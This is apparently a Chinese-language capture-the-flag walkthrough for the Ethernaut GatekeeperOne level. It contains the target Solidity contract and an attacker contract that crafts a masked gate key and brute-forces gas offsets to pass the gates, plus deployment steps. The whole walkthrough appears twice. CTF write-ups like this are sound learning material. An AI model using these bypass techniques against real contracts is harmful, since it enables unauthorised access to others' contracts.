// SPDX-License-Identifier: MIT

pragma solidity ^0.8.0;

import 'https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/utils/math/SafeMath.sol'; contract GatekeeperOne {   using SafeMath for uint256;  address public entrant;  uint256 i = uint256(uint160(address(tx.origin)));   modifier gateOne() {    require(msg.sender != tx.origin);    _;  }   modifier gateTwo() {    require(gasleft().mod(8191) == 0);    _;  }   modifier gateThree(bytes8 _gateKey) {      require(uint32(uint64(_gateKey)) == uint16(uint64(_gateKey)), "GatekeeperOne: invalid gateThree part one");      require(uint32(uint64(_gateKey)) != uint64(_gateKey), "GatekeeperOne: invalid gateThree part two");      require(uint32(uint64(_gateKey)) == uint16(i), "GatekeeperOne: invalid gateThree part three");    _;  }   function enter(bytes8 _gateKey) public gateOne gateTwo gateThree(_gateKey) returns (bool) {    entrant = tx.origin;    return true; 

https://github.com/ssadad112/eth13_1.sol/blob/main/eth1313.sol

// SPDX-License-Identifier: MIT

pragma solidity ^0.8.0;

import 'https://github.com/ssadad112/eth13_1.sol/blob/main/eth1313.sol'; contract AreYouTheKeymaster{    using SafeMath for uint256;    bytes8 txOrigin16 = 0xA4c02754963E3a2e; //你钱包地址的后16位    bytes8 key = txOrigin16 & 0xFFFFFFFF0000FFFF;    GatekeeperOne public gkpOne;     function setGatekepperOne(address _addr) public{        gkpOne = GatekeeperOne(_addr);    }     function letMeIn() public{        for (uint256 i =0; i < 120; i++) {            (bool result, bytes memory data) = address(gkpOne).call{gas:            i + 150 + 8191*3}(abi.encodeWithSignature("enter(bytes8)", key));             if(result)            {                break;            }         }    }}

https://github.com/ssadad112/Eth13_attack.sol/blob/main/Eth13_attack.sol

3.部署这个合约，见下图：

4.部署成功后在浏览器提供的实例地址填入上图中的“setGatekepp”处，然后点击“setGatekepp”，确认钱包。确认后点击 “letmein”，确认钱包，任务结束，提交。

// SPDX-License-Identifier: MIT

pragma solidity ^0.8.0;

import 'https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/utils/math/SafeMath.sol'; contract GatekeeperOne {   using SafeMath for uint256;  address public entrant;  uint256 i = uint256(uint160(address(tx.origin)));   modifier gateOne() {    require(msg.sender != tx.origin);    _;  }   modifier gateTwo() {    require(gasleft().mod(8191) == 0);    _;  }   modifier gateThree(bytes8 _gateKey) {      require(uint32(uint64(_gateKey)) == uint16(uint64(_gateKey)), "GatekeeperOne: invalid gateThree part one");      require(uint32(uint64(_gateKey)) != uint64(_gateKey), "GatekeeperOne: invalid gateThree part two");      require(uint32(uint64(_gateKey)) == uint16(i), "GatekeeperOne: invalid gateThree part three");    _;  }   function enter(bytes8 _gateKey) public gateOne gateTwo gateThree(_gateKey) returns (bool) {    entrant = tx.origin;    return true; 

https://github.com/ssadad112/eth13_1.sol/blob/main/eth1313.sol

// SPDX-License-Identifier: MIT

pragma solidity ^0.8.0;

import 'https://github.com/ssadad112/eth13_1.sol/blob/main/eth1313.sol'; contract AreYouTheKeymaster{    using SafeMath for uint256;    bytes8 txOrigin16 = 0xA4c02754963E3a2e; //你钱包地址的后16位    bytes8 key = txOrigin16 & 0xFFFFFFFF0000FFFF;    GatekeeperOne public gkpOne;     function setGatekepperOne(address _addr) public{        gkpOne = GatekeeperOne(_addr);    }     function letMeIn() public{        for (uint256 i =0; i < 120; i++) {            (bool result, bytes memory data) = address(gkpOne).call{gas:            i + 150 + 8191*3}(abi.encodeWithSignature("enter(bytes8)", key));             if(result)            {                break;            }         }    }}

https://github.com/ssadad112/Eth13_attack.sol/blob/main/Eth13_attack.sol

3.部署这个合约，见下图：

4.部署成功后在浏览器提供的实例地址填入上图中的“setGatekepp”处，然后点击“setGatekepp”，确认钱包。确认后点击 “letmein”，确认钱包，任务结束，提交。